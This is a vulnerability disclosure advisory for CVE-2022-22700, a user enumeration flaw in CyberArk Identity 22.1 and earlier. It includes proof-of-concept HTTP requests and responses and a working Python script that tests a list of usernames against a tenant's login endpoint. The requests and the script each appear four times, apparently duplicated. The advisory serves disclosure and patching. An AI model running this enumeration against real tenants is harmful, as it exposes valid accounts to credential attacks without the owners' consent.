Advisories

CyberArk Identity 22.1 - User Enumeration

5.3

Medium

5.3

Medium

Discovered by

Andres Roldan

Andres Roldan

Offensive Team, Fluid Attacks

Summary

Full name

CyberArk Identity 22.1 User Enumeration

Code name

Porter

State

Public

Affected product

CyberArk Identity

Affected version(s)

22.1 and below

Fixed version(s)

22.2

Vulnerability name

User Enumeration

Vulnerability type

225. Proper Authentication Responses

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVSS v3.1 base score

5.3

Exploit available

Yes

CVE ID(s)

CVE-2022-22700

Description

CyberArk Identity versions up to and including 22.1 in the StartAuthentication resource, exposes the response header X-CFY-TX-TM. In certain configurations, that response header contains different, predictable value ranges which can be used to determine wether a user exists in the tenant.

Proof of Concept

  • A request is sent with a known valid user

Request:

POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 109

In the cases when the user exists, the value of X-CFY-TX-TM is always less than 500.

  • A request is sent with a non existent user

Request:

POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1
Host: customer.my.idaptive.app
Content-Length: 147
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json

{"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-CFY-TX-TM: 1492

In the cases when the user does not exist, the value of X-CFY-TX-TM is always above than 1000.

Exploit

The following code was used to enumerate valid users:

#!/usr/bin/env python
#
# Author: aroldan@fluidattacks.com

import json
import requests
import sys

URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA =  '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)

with open(sys.argv[1], 'r') as fd:
    USERS = [x.rstrip() for x in fd.readlines()]

for USER in USERS:
    VALUE = 10000
    PAYLOAD = JSON_DATA
    PAYLOAD['User'] = USER
    RESP = requests.post(URL, json=PAYLOAD)
    if 'X-CFY-TX-TM' in RESP.headers:
        VALUE = int(RESP.headers['X-CFY-TX-TM'])
    if VALUE < 1000:
        print(VALUE)
        print(f'[+] User {USER} exists.')
    else:
        print(f'[-] User {USER} not exists.')
#!/usr/bin/env python
#
# Author: aroldan@fluidattacks.com

import json
import requests
import sys

URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA =  '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)

with open(sys.argv[1], 'r') as fd:
    USERS = [x.rstrip() for x in fd.readlines()]

for USER in USERS:
    VALUE = 10000
    PAYLOAD = JSON_DATA
    PAYLOAD['User'] = USER
    RESP = requests.post(URL, json=PAYLOAD)
    if 'X-CFY-TX-TM' in RESP.headers:
        VALUE = int(RESP.headers['X-CFY-TX-TM'])
    if VALUE < 1000:
        print(VALUE)
        print(f'[+] User {USER} exists.')
    else:
        print(f'[-] User {USER} not exists.')
#!/usr/bin/env python
#
# Author: aroldan@fluidattacks.com

import json
import requests
import sys

URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA =  '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)

with open(sys.argv[1], 'r') as fd:
    USERS = [x.rstrip() for x in fd.readlines()]

for USER in USERS:
    VALUE = 10000
    PAYLOAD = JSON_DATA
    PAYLOAD['User'] = USER
    RESP = requests.post(URL, json=PAYLOAD)
    if 'X-CFY-TX-TM' in RESP.headers:
        VALUE = int(RESP.headers['X-CFY-TX-TM'])
    if VALUE < 1000:
        print(VALUE)
        print(f'[+] User {USER} exists.')
    else:
        print(f'[-] User {USER} not exists.')
#!/usr/bin/env python
#
# Author: aroldan@fluidattacks.com

import json
import requests
import sys

URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication'
RAW_DATA =  '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}'
JSON_DATA = json.loads(RAW_DATA)

with open(sys.argv[1], 'r') as fd:
    USERS = [x.rstrip() for x in fd.readlines()]

for USER in USERS:
    VALUE = 10000
    PAYLOAD = JSON_DATA
    PAYLOAD['User'] = USER
    RESP = requests.post(URL, json=PAYLOAD)
    if 'X-CFY-TX-TM' in RESP.headers:
        VALUE = int(RESP.headers['X-CFY-TX-TM'])
    if VALUE < 1000:
        print(VALUE)
        print(f'[+] User {USER} exists.')
    else:
        print(f'[-] User {USER} not exists.')

Credits

The vulnerability was discovered by Andrés Roldán from the Offensive Team of Fluid Attacks.

References

Timeline

Sep 28, 2021

Vulnerability discovered

Feb 5, 2022

Vendor contacted

Feb 16, 2022

Vendor replied

Feb 28, 2022

Vulnerability patched

Mar 3, 2022

Public disclosure

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Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

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DevSecOps

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Web applications

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APIs and microservices

Infrastructure as code

LLM apps and GenAI

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